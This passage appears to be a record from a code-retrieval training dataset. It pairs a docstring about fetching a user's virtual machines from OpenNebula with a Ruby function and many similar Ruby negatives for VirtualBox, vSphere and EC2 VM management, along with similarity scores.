true)\n @set[1..-1].each { |icon| conditions << if_statement(icon) }\n\n # Permits supplying an offset, rather than an icon name.\n conditions << ' @else'\n conditions << ' !pos = !icon'\n conditions << ''\n\n # Put the data into the template.\n template = TEMPLATE.dup\n template.gsub!(/NAME/, @name)\n template.gsub!(/DIR/, dir)\n template.gsub!(/CONDITIONS/, conditions.join(\"\\n\"))\n template\n end", "def key_for(url)\n [prefix, url].join\n end" ]
[ "0.5837432", "0.5796475", "0.5699433", "0.559131", "0.55184674", "0.55111015", "0.5477846", "0.5453129", "0.541904", "0.53824323", "0.5343552", "0.53176486", "0.5303612", "0.52916044", "0.5248433", "0.520948", "0.5208275", "0.5196126", "0.51933354", "0.5190468", "0.5186896", "0.51724607", "0.5148749", "0.5115648", "0.5115648", "0.51134783", "0.51109654", "0.5087426", "0.5080647", "0.5058403", "0.50398874", "0.50392663", "0.50150806", "0.50129414", "0.50022036", "0.49770805", "0.49678436", "0.49616453", "0.49560505", "0.49431", "0.49341077", "0.4932669", "0.49257222", "0.49252692", "0.49245054", "0.49140358", "0.4909306", "0.4888235", "0.48660752", "0.48657355", "0.4864355", "0.48631075", "0.48603514", "0.4858252", "0.485562", "0.485135", "0.48469025", "0.48361117", "0.48347846", "0.48334432", "0.48244116", "0.4824204", "0.4824204", "0.4812518", "0.48049212", "0.4800367", "0.47941935", "0.47768643", "0.47751635", "0.47664788", "0.4764041", "0.47612625", "0.47589037", "0.4753955", "0.47522852", "0.4750434", "0.47471333", "0.47354886", "0.47338328", "0.47202602", "0.47128034", "0.47101566", "0.470901", "0.47019842", "0.47010547", "0.47004238", "0.46972153", "0.46965155", "0.46954745", "0.4692372", "0.4688346", "0.46863315", "0.4684757", "0.4684294", "0.46767542", "0.46751252", "0.46725708", "0.46709278", "0.4665953", "0.4662741" ]
0.5186216
21
Gets information about VMs defined for a user. It caches new VMs and takes out from the cache deleted VMs
def update_user(user) @users[user]=Hash.new if !@users[user] vmpool=OpenNebula::VirtualMachinePool.new(@client, user) vmpool.info one_ids=vmpool.map {|vm| vm.id } vms=@users[user] user_ids=vms.keys deleted_vms=user_ids-one_ids added_vms=one_ids-user_ids deleted_vms.each {|vmid| vms.delete(vmid) } added_vms.each do |vmid| vm=OpenNebula::VirtualMachine.new( OpenNebula::VirtualMachine.build_xml(vmid), @client) vm.info usage=VmUsage.new(vm['TEMPLATE/CPU'].to_f, vm['TEMPLATE/MEMORY'].to_i) vms[vmid.to_i]=usage end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def vms(user)\n vms=@users[user]\n @users[user]=vms=Hash.new if !vms\n vms\n end", "def getVMs\n @vms = VirtualMachine.all(@ip_address)\n end", "def load_vms!\n\t\t\tresult = {}\n\n\t\t\t# Load the VM UUIDs from the local data store\n\t\t\t(local_data[:active] || {}).each do |name, desc|\n\t\t\t\tresult[name.to_sym] = VagrantAWS::VM.find(desc, self, name.to_sym)\n\t\t\tend\n\n\t\t\t# For any VMs which aren't created, create a blank VM instance for\n\t\t\t# them\n\t\t\tall_keys = config.vms\n\t\t\tall_keys = [DEFAULT_VM] if all_keys.empty?\n\t\t\tall_keys.each do |name|\n\t\t\t\tresult[name] = VagrantAWS::VM.new(name, self, config.for_vm(name)) if !result.has_key?(name)\n\t\t\tend\n\n\t\t\tresult\n\t\tend", "def vms\n load! if !loaded?\n @vms ||= load_vms!\n end", "def vms\n vms = []\n if current_user.admin?\n vms = object.vms\n elsif current_user.lead?\n vms = object.vms.select { |vm| vm.project.users.include?(current_user) }\n elsif current_user.dev?\n vms = object.vms.select { |vm| vm.user.id == current_user.id || vm.is_jenkins }\n else\n vms = object.vms.select { |vm| vm.user.id == current_user.id }\n end\n vms.map { |v| v.id }\n end", "def vms\n vms = []\n if current_user.admin?\n vms = object.vms\n elsif current_user.lead?\n vms = object.vms.select { |vm| vm.project.users.include?(current_user) }\n elsif current_user.dev?\n vms = object.vms.select { |vm| vm.user.id == current_user.id || vm.is_jenkins }\n else\n vms = object.vms.select { |vm| vm.user.id == current_user.id }\n end\n vms.map { |v| v.id }\n end", "def virtual_machines(id)\n response = request(:get, \"/users/#{id}/virtual_machines.json\")\n response.collect { |vm| vm['virtual_machine']}\n end", "def virtual_machines(id)\n response = request(:get, \"/users/#{id}/virtual_machines.json\")\n response.collect { |vm| vm['virtual_machine']}\n end", "def vboxmanage_list_vms\n vms = Mash.new\n if vbox_host?\n so_cmd = \"VBoxManage list --sorted vms\"\n logger.trace(so_cmd)\n so = shell_out(so_cmd)\n\n if so.exitstatus == 0\n # parse the output\n so.stdout.lines.each do |line|\n case line\n when /^\"(\\S*)\" \\{(\\S*)\\}$/\n name = Regexp.last_match(1)\n uuid = Regexp.last_match(2)\n vms[name] = vboxmanage_vminfo(uuid)\n end\n end\n end\n end\n vms\n rescue Ohai::Exceptions::Exec\n logger.trace(\"Plugin VboxHost: Could not run 'VBoxManage list --sorted vms'. Skipping data\")\n end", "def stored_virtual_machines\n kubevirt_client.get_stored_virtual_machines(namespace: @namespace)\n end", "def read_vms\n args = %w[list --all --no-header --json -o name,uuid]\n vms_arr = json { execute_prlctl(*args) }\n templates_arr = json { execute_prlctl(*args, '--template') }\n\n vms = vms_arr | templates_arr\n Hash[vms.map { |i| [i.fetch('name'), i.fetch('uuid')] }]\n end", "def vms\n vms = object.vms.select do |vm|\n !current_user ||\n current_user.id == vm.user.id ||\n current_user.admin? ||\n (current_user.lead? && vm.project.users.include?(current_user)) ||\n (current_user.dev? && vm.project.users.include?(current_user) && vm.is_jenkins)\n end\n vms.map { |v| v.id }\n end", "def init_vms\n @vms = []\n\n response = @conn.get do |req|\n req.url \"/api/v1/vms\"\n req.headers = rest_headers\n end\n\n @vms = json(response.body)[:vms]\n end", "def load_vms!\n # This is hardcoded for now.\n provider = nil\n Vagrant.plugin(\"1\").registered.each do |plugin|\n provider = plugin.provider.get(:virtualbox)\n break if provider\n end\n\n raise \"VirtualBox provider not found.\" if !provider\n\n # Load all the virtual machine instances.\n result = {}\n config.vms.each do |name|\n vm_config = config.for_vm(name)\n box = boxes.find(vm_config.vm.box, :virtualbox)\n\n result[name] = Vagrant::Machine.new(name, provider, vm_config, box, self)\n end\n\n result\n end", "def stats(id)\n request(:get, \"/users/#{id}/vm_stats.json\")\n end", "def obtain_vm_data(resource)\n\n puts \"Obtaining virtual machines' data\"\n \n # ...\n \n ips = [\"IP_A\", \"IP_B\"]\n ip_roles = {:rol_a => \"IP_A\", :rol_b => \"IP_B\"}\n img_roles = {:rol_a => \"/path/to/IMG_A\", :rol_b => \"/path/to/IMG_B\"}\n \n return ips, ip_roles, img_roles\n \n end", "def read_vms\n end", "def vboxmanage_vminfo(machine_id)\n vm = Mash.new\n\n if vbox_host?\n so_cmd = \"VBoxManage showvminfo #{machine_id} --machinereadable\"\n logger.trace(so_cmd)\n so = shell_out(so_cmd)\n\n if so.exitstatus == 0\n so.stdout.lines.each do |line|\n line.chomp!\n left, right = line.split(\"=\")\n\n # remove enclosing quotes, if needed\n key =\n case left\n when /^\"(.*)\"$/\n Regexp.last_match(1)\n else\n left\n end\n\n # skip the name attribute since that is the parent key\n next if left == \"name\"\n\n # remove enclosing quotes, if needed\n value =\n case right\n when /^\"(.*)\"$/\n Regexp.last_match(1)\n else\n right\n end\n\n vm[key.downcase] = value\n end\n end\n end\n vm\n rescue Ohai::Exceptions::Exec\n logger.trace(\"Plugin VboxHost: Could not run '#{so_cmd}'. Skipping data\")\n end", "def read_vms_info\n args = %w[list --all --info --no-header --json]\n vms_arr = json { execute_prlctl(*args) }\n templates_arr = json { execute_prlctl(*args, '--template') }\n\n vms_arr | templates_arr\n end", "def get_vm_info()\n promise = @compute_client.virtual_machines.get(@rg_name, @instance_name)\n result = promise.value!\n OOLog.info(\"vm info :\"+result.body.inspect)\n return result.body\n end", "def fetch_source_vms(machines)\n machines.inject({}) do |acc, machine|\n acc[machine.name] = API::Vm.fetch(env, machine.provider_config.vm_url)\n acc\n end\n end", "def all_vms_info()\n str_info = \"\"\n\n @host.vm.each { |v|\n begin\n vivm = VIDriver::VIVm.new(\"\", v)\n rescue\n next\n end\n\n vivm.monitor\n\n name = v.name\n number = -1\n number = name.split('-').last if (name =~ /^one-\\d*$/)\n\n str_info << \"VM = [\"\n str_info << \"ID=#{number},\"\n str_info << \"DEPLOY_ID=\\\"#{name}\\\",\"\n str_info << \"POLL=\\\"#{vivm.info}\\\"]\\n\"\n }\n\n return str_info\n end", "def read_vms_info\n vms_arr = json([]) do\n execute_prlctl('list', '--all','--info', '--json')\n end\n templates_arr = json([]) do\n execute_prlctl('list', '--all','--info', '--json', '--template')\n end\n vms_arr | templates_arr\n end", "def vcenter_vms_state\n vc_uuid = @vic.vim.serviceContent.about.instanceUuid\n\n view = @vic.vim\n .serviceContent\n .viewManager\n .CreateContainerView(\n {\n :container => @cluster.item,\n :type => ['VirtualMachine'],\n :recursive => true\n }\n )\n\n pc = @vic.vim.serviceContent.propertyCollector\n\n result = pc.RetrieveProperties(\n :specSet => [\n RbVmomi::VIM.PropertyFilterSpec(\n :objectSet => [\n :obj => view,\n :skip => true,\n :selectSet => [\n RbVmomi::VIM.TraversalSpec(\n :name => 'traverseEntities',\n :type => 'ContainerView',\n :path => 'view',\n :skip => false\n )\n ]\n ],\n :propSet => [\n {\n :type => 'VirtualMachine',\n :pathSet => VM_STATE_PROPERTIES\n }\n ]\n )\n ]\n )\n\n vms_hash = {}\n\n result.each do |r|\n next unless r.obj.is_a?(RbVmomi::VIM::VirtualMachine)\n\n vms_hash[r.obj._ref + '_' + vc_uuid] = r.to_hash\n end\n\n view.DestroyView\n\n vmpool = OpenNebula::VirtualMachinePool.new(@onec)\n rc = vmpool.info(-2)\n\n return {} if OpenNebula.is_error?(rc)\n\n vms = {}\n vms_hash.each do |vm_ref, info|\n one_id = -1\n\n # Add OR to retrieve VMs that are using old deploy ID\n ids = vmpool.retrieve_xmlelements(\n \"/VM_POOL/VM[(DEPLOY_ID = '#{vm_ref}')\" \\\n ' or ' \\\n \"(DEPLOY_ID = '#{vm_ref.split('_')[0]}')]\"\n )\n\n ids.select do |vm|\n hid = vm['HISTORY_RECORDS/HISTORY/HID']\n\n if hid\n hid.to_i == @host_id\n else\n false\n end\n end\n\n one_id = ids[0]['ID'] if ids[0]\n next if one_id.to_i == -1\n\n vms[vm_ref] = {\n :id => one_id,\n :name => \"#{info['name']} - #{@cluster.item.name}\",\n :deploy_id => vm_ref,\n :state => STATE_MAP[info['summary.runtime.powerState']] || 'UNKNOWN'\n }\n end\n\n vms\n end", "def get_vm_info(name)\n output = vboxmanage('showvminfo', name, '--machinereadable')\n # Split this on the '=' sign\n split_output = []\n output = output.split(\"\\n\")\n output.each do |line|\n \tsplit_output << line.split('=')\n end\n\n # Map the array to a hash\n info_hash = Hash[split_output.map {|key, value| [key, value]}]\n\n # Remove any literal quotes\n info_hash.each do |key, value|\n \tinfo_hash[key] = value.tr(\"\\\"\",\"\")\n end\n\n info_hash\n end", "def stats(id)\n response = request(:get, \"/users/#{id}/vm_stats.json\")\n response.first['vm_stats']\n end", "def vm(name)\n @conn.vms.get(name)\n end", "def vm_info\n unless @vm\n warn 'No VM assigned to get info from'\n return\n end\n @vm = locate_vm(@vm.to_hash['VM']['ID'].to_i)\n @vm.to_hash\n end", "def monitor_all_vms\n totalmemory = 0\n totalcpu = 0\n\n # Get last cloudwatch monitoring time\n host_obj = OpenNebula::Host.new_with_id(@host_id,\n OpenNebula::Client.new)\n host_obj.info\n cw_mon_time = host_obj[\"/HOST/TEMPLATE/CWMONTIME\"]\n capacity = host_obj.to_hash[\"HOST\"][\"TEMPLATE\"][\"CAPACITY\"]\n if !capacity.nil? && Hash === capacity\n capacity.each{ |name, value|\n name = parse_inst_type(name)\n cpu, mem = instance_type_capacity(name)\n totalmemory += mem * value.to_i\n totalcpu += cpu * value.to_i\n }\n else\n raise \"you must define CAPACITY section properly! check the template\"\n end\n\n host_info = \"HYPERVISOR=ec2\\n\"\n host_info << \"PUBLIC_CLOUD=YES\\n\"\n host_info << \"PRIORITY=-1\\n\"\n host_info << \"TOTALMEMORY=#{totalmemory.round}\\n\"\n host_info << \"TOTALCPU=#{totalcpu}\\n\"\n host_info << \"CPUSPEED=1000\\n\"\n host_info << \"HOSTNAME=\\\"#{@host}\\\"\\n\"\n\n vms_info = \"VM_POLL=YES\\n\"\n\n #\n # Add information for running VMs (running and pending).\n #\n usedcpu = 0\n usedmemory = 0\n\n # Build an array of VMs and last_polls for monitoring\n vpool = OpenNebula::VirtualMachinePool.new(OpenNebula::Client.new,\n OpenNebula::VirtualMachinePool::INFO_ALL_VM)\n vpool.info\n onevm_info = {}\n\n\n if !cw_mon_time\n cw_mon_time = Time.now.to_i\n else\n cw_mon_time = cw_mon_time.to_i\n end\n\n do_cw = (Time.now.to_i - cw_mon_time) >= 360\n vpool.each{\n |vm| onevm_info[vm.deploy_id] = vm\n }\n\n\n work_q = Queue.new\n @ec2.instances.each{|i| work_q.push i }\n\t\tworkers = (0...20).map do\n Thread.new do\n begin\n while i = work_q.pop(true)\n next if i.state.name != 'pending' && i.state.name != 'running'\n one_id = i.tags.find {|t| t.key == 'ONE_ID' }\n one_id = one_id.value if one_id\n poll_data=parse_poll(i, onevm_info[i.id], do_cw, cw_mon_time)\n vm_template_to_one = vm_to_one(i)\n vm_template_to_one = Base64.encode64(vm_template_to_one).gsub(\"\\n\",\"\")\n vms_info << \"VM=[\\n\"\n vms_info << \" ID=#{one_id || -1},\\n\"\n vms_info << \" DEPLOY_ID=#{i.instance_id},\\n\"\n vms_info << \" VM_NAME=#{i.instance_id},\\n\"\n vms_info << \" IMPORT_TEMPLATE=\\\"#{vm_template_to_one}\\\",\\n\"\n vms_info << \" POLL=\\\"#{poll_data}\\\" ]\\n\"\n if one_id\n name = i.instance_type\n cpu, mem = instance_type_capacity(name)\n usedcpu += cpu\n usedmemory += mem\n end\n end\n rescue Exception => e\n end\n end\n end; \"ok\"\n workers.map(&:join); \"ok\"\n\n host_info << \"USEDMEMORY=#{usedmemory.round}\\n\"\n host_info << \"USEDCPU=#{usedcpu.round}\\n\"\n host_info << \"FREEMEMORY=#{(totalmemory - usedmemory).round}\\n\"\n host_info << \"FREECPU=#{(totalcpu - usedcpu).round}\\n\"\n\n if do_cw\n host_info << \"CWMONTIME=#{Time.now.to_i}\"\n else\n host_info << \"CWMONTIME=#{cw_mon_time}\"\n end\n\n puts host_info\n puts vms_info\n end", "def vms\n vms = `VBoxManage list vms`.split(\"\\n\")\nend", "def total(user)\n usage=VmUsage.new(0.0, 0, 0)\n \n @users[user].each do |id, vm|\n usage.cpu+=vm.cpu\n usage.memory+=vm.memory\n usage.num_vms+=1\n end if @users[user]\n \n usage\n end", "def used_ips\n existing_kvms.map do |name|\n kvm_ip(name)\n end\nend", "def virtual_machines\n kubevirt_client.get_virtual_machines(namespace: @namespace)\n end", "def vms\n @conn.vms\n end", "def get_vm_monitor_data(vm)\n reset_monitor\n\n cpu_mhz = vm[:mob].runtime.host.summary.hardware.cpuMhz.to_f\n\n @monitor[:used_memory] = vm[:mob].summary.quickStats.hostMemoryUsage *\n 1024\n\n used_cpu = vm[:mob].summary.quickStats.overallCpuUsage.to_f / cpu_mhz\n used_cpu = (used_cpu * 100).to_s\n @monitor[:used_cpu] = format('%.2f', used_cpu).to_s\n\n # Check for negative values\n @monitor[:used_memory] = 0 if @monitor[:used_memory].to_i < 0\n @monitor[:used_cpu] = 0 if @monitor[:used_cpu].to_i < 0\n\n guest_ip_addresses = []\n unless vm[:mob].guest.net.empty?\n vm[:mob].guest.net.each do |net|\n next unless net.ipConfig\n next if net.ipConfig.ipAddress.empty?\n\n net.ipConfig.ipAddress.each do |ip|\n guest_ip_addresses << ip.ipAddress\n end\n end\n end\n @guest_ip_addresses = guest_ip_addresses.join(',')\n\n pm = vm[:mob]._connection.serviceInstance.content.perfManager\n\n provider = pm.provider_summary(vm[:mob])\n\n refresh_rate = provider.refreshRate\n\n stats = {}\n\n @one_vm = OpenNebula::VirtualMachine\n .new_with_id(vm[:id], @client)\n\n if @one_vm['MONITORING/LAST_MON'] &&\n @one_vm['MONITORING/LAST_MON'].to_i != 0\n # Real time data stores max 1 hour. 1 minute has 3 samples\n interval = (Time.now.to_i -\n @one_vm['MONITORING/LAST_MON'].to_i)\n\n # If last poll was more than hour ago get 3 minutes,\n # else calculate how many samples since last poll\n if interval > 3600\n samples = 9\n else\n samples = (interval / refresh_rate) + 1\n end\n samples > 0 ? max_samples = samples : max_samples = 1\n\n stats = pm.retrieve_stats(\n [vm[:mob]],\n ['net.transmitted', 'net.bytesRx', 'net.bytesTx',\n 'net.received', 'virtualDisk.numberReadAveraged',\n 'virtualDisk.numberWriteAveraged', 'virtualDisk.read',\n 'virtualDisk.write'],\n interval => refresh_rate, max_samples => max_samples\n ) rescue {}\n else\n # First poll, get at least latest 3 minutes = 9 samples\n stats = pm.retrieve_stats(\n [vm[:mob]],\n ['net.transmitted', 'net.bytesRx', 'net.bytesTx',\n 'net.received', 'virtualDisk.numberReadAveraged',\n 'virtualDisk.numberWriteAveraged', 'virtualDisk.read',\n 'virtualDisk.write'],\n interval => refresh_rate, max_samples => 9\n ) rescue {}\n end\n\n if !stats.empty? && !stats.first[1][:metrics].empty?\n metrics = stats.first[1][:metrics]\n\n nettx_kbpersec = 0\n if metrics['net.transmitted']\n metrics['net.transmitted'].each do |sample|\n nettx_kbpersec += sample if sample > 0\n end\n end\n\n netrx_kbpersec = 0\n if metrics['net.bytesRx']\n metrics['net.bytesRx'].each do |sample|\n netrx_kbpersec += sample if sample > 0\n end\n end\n\n read_kbpersec = 0\n if metrics['virtualDisk.read']\n metrics['virtualDisk.read'].each do |sample|\n read_kbpersec += sample if sample > 0\n end\n end\n\n read_iops = 0\n if metrics['virtualDisk.numberReadAveraged']\n metrics['virtualDisk.numberReadAveraged'].each do |sample|\n read_iops += sample if sample > 0\n end\n end\n\n write_kbpersec = 0\n if metrics['virtualDisk.write']\n metrics['virtualDisk.write'].each do |sample|\n write_kbpersec += sample if sample > 0\n end\n end\n\n write_iops = 0\n if metrics['virtualDisk.numberWriteAveraged']\n metrics['virtualDisk.numberWriteAveraged'].each do |sample|\n write_iops += sample if sample > 0\n end\n end\n\n else\n nettx_kbpersec = 0\n netrx_kbpersec = 0\n read_kbpersec = 0\n read_iops = 0\n write_kbpersec = 0\n write_iops = 0\n end\n\n # Accumulate values if present\n if @one_item && @one_item['MONITORING/NETTX']\n previous_nettx = @one_item['MONITORING/NETTX'].to_i\n else\n previous_nettx = 0\n end\n\n if @one_item && @one_item['MONITORING/NETRX']\n previous_netrx = @one_item['MONITORING/NETRX'].to_i\n else\n previous_netrx = 0\n end\n\n if @one_item && @one_item['MONITORING/DISKRDIOPS']\n previous_diskrdiops = @one_item['MONITORING/DISKRDIOPS'].to_i\n else\n previous_diskrdiops = 0\n end\n\n if @one_item && @one_item['MONITORING/DISKWRIOPS']\n previous_diskwriops = @one_item['MONITORING/DISKWRIOPS'].to_i\n else\n previous_diskwriops = 0\n end\n\n if @one_item && @one_item['MONITORING/DISKRDBYTES']\n previous_diskrdbytes = @one_item['MONITORING/DISKRDBYTES'].to_i\n else\n previous_diskrdbytes = 0\n end\n\n if @one_item && @one_item['MONITORING/DISKWRBYTES']\n previous_diskwrbytes = @one_item['MONITORING/DISKWRBYTES'].to_i\n else\n previous_diskwrbytes = 0\n end\n\n @monitor[:nettx] = previous_nettx +\n (nettx_kbpersec * 1024 * refresh_rate).to_i\n @monitor[:netrx] = previous_netrx +\n (netrx_kbpersec * 1024 * refresh_rate).to_i\n\n @monitor[:diskrdiops] = previous_diskrdiops + read_iops\n @monitor[:diskwriops] = previous_diskwriops + write_iops\n @monitor[:diskrdbytes] = previous_diskrdbytes +\n (read_kbpersec * 1024 * refresh_rate).to_i\n @monitor[:diskwrbytes] = previous_diskwrbytes +\n (write_kbpersec * 1024 * refresh_rate).to_i\n @monitor\n end", "def watch_stored_virtual_machines(opts = {})\n kubevirt_client.watch_stored_virtual_machines(opts)\n end", "def collectVMs(rf, db)\n\trf.childEntity.grep(RbVmomi::VIM::Datacenter).each do |dc|\n\t\tprogressbar = ProgressBar.create(:title => \"VMs\", :format => '%t |%b>>%i| %p%% %a')\n\t\tprogressbar.total = counter(dc, \"v\")\n\t\tdc.vmFolder.childEntity.each do |folder|\n\t\t\tfolder.childEntity.each do |vmlist|\n\t\t\t\tnext if vmlist.class.to_s == \"Folder\"\n\t\t\t\tdb.select(3)\n\t\t\t\tdb.hset(\"#{vmlist.name}\", \"Status\", \"#{vmlist.summary.overallStatus}\")\n\t\t\t\tdb.hset(\"#{vmlist.name}\", \"Uptime\", \"#{vmlist.summary.quickStats.uptimeSeconds}\")\n\t\t\t\tdb.hset(\"#{vmlist.name}\", \"CPUusage\", \"#{vmlist.summary.quickStats.overallCpuUsage}\")\n\t\t\t\tdb.hset(\"#{vmlist.name}\", \"CPUnum\", \"#{vmlist.summary.config.numCpu}\")\n\t\t\t\tdb.hset(\"#{vmlist.name}\", \"MemUsage\", \"#{vmlist.summary.quickStats.guestMemoryUsage}\")\n\t\t\t\tdb.hset(\"#{vmlist.name}\", \"MemTotal\", \"#{vmlist.summary.config.memorySizeMB}\")\n\t\t\t\tprogressbar.increment\n\t\t\tend\n\t\tend\n\tend\nend", "def obtain_vm_data(resource)\n\n puts \"Obtaining virtual machines' data\"\n return obtain_torque_data(resource[:head], resource[:compute])\n \nend", "def monitor_vm\n vms_info('one')\n end", "def slab_info(flags=\"\")\n # TODO : may go back, make this an option to use sudo or not.\n # You need sudo permission to run this flag.\n slab_info = Vstator::SlabInfo.new \n `sudo vmstat #{flags}`.split(\"\\n\").each do |info|\n next if info == \"Cache Num Total Size Pages\"\n name, num, total, size, pages = info.split\n data = { :name => name, :num => num, :total => total,\n :size => size, :pages => pages }\n slab_info.update(data)\n end\n slab_info\n end", "def get_vm(_pool_name, _vm_name)\n # raise(\"#{self.class.name} does not implement get_vm\")\n\n return @virtual_box.get_machines_by_groups({ :groups => [_pool_name] }).select do | machine |\n begin\n machine.name\n rescue\n $logger.log('s', \"[x] skipping bad vm [#{_pool_name}] '#{machine}'\")\n next\n end\n end.map do | machine |\n { \n 'name' => machine.name,\n 'hostname' => 'localhost',\n 'template' => _pool_name,\n 'poolname' => _pool_name,\n 'boottime' => Time.new,\n 'powerstate' => machine.state, \n }\n end.first\n end", "def collect_user_details\n cmd = 'lsuser -a ALL' # get all user names\n result ||= inspec.backend.run_command(cmd)\n return [] if result.exit_status.to_i != 0\n names = result.stdout.split(\"\\n\")\n users_cache = []\n names.sort.uniq.each do |n|\n users_cache << AixUser(inspec, n)\n end\n users_cache\n end", "def vms_by_name(name)\n get('VM', :by_name_label, name).collect do |vm|\n UltraVM::VM.new(self, vm)\n end\n end", "def get_indexed_vms(dir)\n machine_list = {}\n indexfile = \"#{`echo $HOME`.chomp}/.vagrant.d/data/machine-index/index\"\n File.foreach(indexfile) do |line|\n machineindex = JSON.parse(line)\n machineindex[\"machines\"].each do |machine|\n if dir == machine[1][\"vagrantfile_path\"]\n machine_list[machine[1][\"name\"]] = machine[1][\"extra_data\"][\"box\"][\"name\"]\n end\n end\n end\n return machine_list\nend", "def vms\n Vm.where(commit_id: @id)\n end", "def get_vm(name)\n filter = Com::Vmware::Vcenter::VM::FilterSpec.new(names: Set.new([name]))\n vm_obj = Com::Vmware::Vcenter::VM.new(vapi_config)\n vm_obj.list(filter)[0]\n end", "def list_private_virtual_machine_images\n request_path = '/services/vmimages'\n request = ManagementHttpRequest.new(:get, request_path, nil)\n response = request.call\n Serialization.virtual_machine_vmimages_from_xml(response)\n end", "def get_vm(vmId)\n params = {\n 'method' => :get,\n 'command' => \"/vApp/vm-#{vmId}\"\n }\n\n response, headers = send_request(params)\n\n os_desc = response.css('ovf|OperatingSystemSection ovf|Description').first.text\n\n networks = {}\n response.css('NetworkConnection').each do |network|\n ip = network.css('IpAddress').first\n ip = ip.text if ip\n\n networks[network['network']] = {\n :index => network.css('NetworkConnectionIndex').first.text,\n :ip => ip,\n :is_connected => network.css('IsConnected').first.text,\n :mac_address => network.css('MACAddress').first.text,\n :ip_allocation_mode => network.css('IpAddressAllocationMode').first.text\n }\n end\n\n admin_password = response.css('GuestCustomizationSection AdminPassword').first\n admin_password = admin_password.text if admin_password\n\n guest_customizations = {\n :enabled => response.css('GuestCustomizationSection Enabled').first.text,\n :admin_passwd_enabled => response.css('GuestCustomizationSection AdminPasswordEnabled').first.text,\n :admin_passwd_auto => response.css('GuestCustomizationSection AdminPasswordAuto').first.text,\n :admin_passwd => admin_password,\n :reset_passwd_required => response.css('GuestCustomizationSection ResetPasswordRequired').first.text,\n :computer_name => response.css('GuestCustomizationSection ComputerName').first.text\n }\n\n { :os_desc => os_desc, :networks => networks, :guest_customizations => guest_customizations }\n end", "def vm_names\n machines = manager.vbox.machines.find_all do |machine|\n machine.name =~ /#{Travis::Worker.config.vms.name_prefix}/\n end\n machines ? machines.map { |machine| machine.name } : []\n end", "def list_ks_vbox_vms()\n search_string = \"rhel|centos|ubuntu\"\n list_vbox_vms(search_string)\n return\nend", "def collectVMs(rf, db)\n\trf.childEntity.grep(RbVmomi::VIM::Datacenter).each do |dc|\n\t\tprogressbar = ProgressBar.create(:title => \"#{$single_folder}\", :format => '%t |%b>>%i| %p%% %a')\n\t\tif dc.vmFolder.childEntity.find { |x| x.name == \"#{$single_folder}\" }\n\t\t\tfolder = dc.vmFolder.childEntity.find { |x| x.name == \"#{$single_folder}\" }\n\t\t\tprogressbar.total = folder.childEntity.length\n\t\t\tfolder.childEntity.each do |vmlist|\n\t\t\t\tdb.select(3)\n\t\t\t\tdb.hset(\"#{vmlist.name}\", \"Status\", \"#{vmlist.summary.overallStatus}\")\n\t\t\t\tdb.hset(\"#{vmlist.name}\", \"Uptime\", \"#{vmlist.summary.quickStats.uptimeSeconds}\")\n\t\t\t\tdb.hset(\"#{vmlist.name}\", \"CPUusage\", \"#{vmlist.summary.quickStats.overallCpuUsage}\")\n\t\t\t\tdb.hset(\"#{vmlist.name}\", \"CPUnum\", \"#{vmlist.summary.config.numCpu}\")\n\t\t\t\tdb.hset(\"#{vmlist.name}\", \"MemUsage\", \"#{vmlist.summary.quickStats.guestMemoryUsage}\")\n\t\t\t\tdb.hset(\"#{vmlist.name}\", \"MemTotal\", \"#{vmlist.summary.config.memorySizeMB}\")\n\t\t\t\tprogressbar.increment\n\t\t\tend\n\t\tend\n\tend\nend", "def get_running_simulation_managers(user, experiment = nil)\n AmazonVm.find_all_by_user_id(user.id).map do |instance|\n instance.to_s\n end\n end", "def all_instances\n Puppet.debug(\"all_instances - cached instances is: #{cached_instances}\")\n Puppet.debug(\"all_instances - cached instances object id: #{cached_instances.object_id}\")\n # return cache if it has been created, this means that this function will only need\n # to be loaded once, returning all instances that exist of this resource in vsphere\n # then, we can lookup our version by name/id/whatever. This saves a TON of processing\n return cached_instances unless cached_instances.nil?\n\n # Want to return an array of instances\n # each hash should have the same properties as the properties\n # of this \"type\"\n # remember the keys should be symbols, aka :ntp_servers not 'ntp_servers'\n # This is a tracking hash which will contain info about each host and NTP server relationships\n cmd = <<-EOF\n $ntp_servers_hash = @{}\n $hosts = #{powercli_get_online_hosts}\n foreach($h in $hosts) {\n $servers = Get-VMHostNtpServer -VMHost $h\n if ($servers) {\n $ntp_servers_hash[$h.Name] = @($servers)\n } else {\n $ntp_servers_hash[$h.Name] = @()\n }\n }\n $ntp_servers_hash | ConvertTo-Json\n EOF\n\n ntpservers_stdout = powercli_connect_exec(cmd)[:stdout]\n # json parse expects a json string, powershell does not stdout with quotes\n # we might be able to remove this line because powershell exits with a viable ruby array already:\n # [\n # \"time1.dev.encore.tech\",\n # \"time2.dev.encore.tech\"\n # ]\n # what happens if this returns null??\n ntpservers_hash = JSON.parse(ntpservers_stdout)\n\n # create instance hash - this contains info about ONE host at a time\n # the values should match the data \"shape\" (ie have the same fields) as our\n # type.\n # the key, should be the title/namevar so we can do a lookup in our\n # read_instance function\n cached_instances_set({})\n ntpservers_hash.each do |esx_host, ntp_servers_array|\n cached_instances[esx_host] = {\n ensure: :present,\n esx_host: esx_host,\n ntp_servers: ntp_servers_array,\n }\n end\n Puppet.debug(\"all_instances - cached instances is at end: #{cached_instances}\")\n Puppet.debug(\"all_instances - cached instances object_id at end: #{cached_instances.object_id}\")\n cached_instances\n end", "def local_cache(box_name)\n cache_dir = File.join(File.expand_path(\"~/.vagrant.d\"),\n 'cache',\n 'apt',\n box_name)\n partial_dir = File.join(cache_dir, 'partial')\n FileUtils.mkdir_p(partial_dir) unless File.exists? partial_dir\n cache_dir\nend", "def get_vms\n return [] unless File.executable? '/usr/bin/virsh'\n\n cmd_out = Facter::Core::Execution.exec('/usr/bin/virsh list --all ').split(\"\\n\")\n\n cmd_out.shift(2) # remove the outputs headers\n\n return [] if cmd_out.empty?\n\n cmd_out.map! { |line| line.chomp }\nend", "def index\n @vms = Vm.order(:ip).page params[:page]\n end", "def get_virtualization_vmware_virtual_machine_list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: VirtualizationApi.get_virtualization_vmware_virtual_machine_list ...'\n end\n allowable_values = [\"allpages\", \"none\"]\n if @api_client.config.client_side_validation && opts[:'inlinecount'] && !allowable_values.include?(opts[:'inlinecount'])\n fail ArgumentError, \"invalid value for \\\"inlinecount\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/api/v1/virtualization/VmwareVirtualMachines'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'$filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n 